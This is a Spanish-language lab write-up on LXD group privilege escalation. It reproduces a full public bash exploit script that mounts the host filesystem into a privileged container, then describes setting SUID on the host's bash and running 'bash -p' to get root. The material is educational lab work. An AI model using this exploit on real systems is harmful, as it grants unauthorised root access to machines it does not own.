LXD

LXD (Linux Containers Daemon) es una tecnología de contenedores para sistemas Linux que ofrece una experiencia de virtualización ligera y eficiente. A continuación, se describen algunas de las funciones y casos de uso principales de LXD.

En un laboratorio local, observamos que yo como rodgar estoy en el grupo lxd, esto lo podemos aprovechar para escalar nuestros privilegios.

Buscamos con searchsploit un exploit y encontramos uno nos lo descarmos a local.

#!/usr/bin/env bash

# ----------------------------------
# Authors: Marcelo Vazquez (S4vitar)
#	   Victor Lasa      (vowkin)
# ----------------------------------

# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
# Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
# Step 3: Run this script and you will get root [Victim Machine]
# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine

function helpPanel(){
  echo -e "\nUsage:"
  echo -e "\t[-f] Filename (.tar.gz alpine file)"
  echo -e "\t[-h] Show this help panel\n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine && lxd init --auto
  echo -e "[*] Listing images...\n" && lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "\n[*] Removing container..."
  lxc stop privesc && lxc delete privesc && lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG && let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
```

El script nos dice que descarguemos esto en local wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine.

Luego hacemos lo que se observa en la imagen, para hacer el bash build-alpine debes estar como root, en local no en la maquina victima.

Con el comando anterior se nos crear el alpine-v3 etc. Este archivo nos lo transferimos a la maquina que hemos comprometido.

Habiendo ya transferido el archivo a la maquina comprometida, nos lo ejecutamos de la forma en como se observa en la imagen, observamos que si hago un whoami somos root, pero dentro del contenedor lxd no dentro de la maquina real.

Entonces como escalamos privilegios en la maquina real, a eso vamos no te calientes plancha.

En el contenedor nos vamos ah donde se creo el contenedor /mnt/root/usr/bin y le damos permisos SUID a la bash.

Luego en otra terminal o te sales del contenedor y si listas los permisos antes y despues de la bash observamos que la bash se le asigno permisos SUID hacemos un bash -p y somos root, pero esta vez en la maquina real no en el contenedor.

Última actualización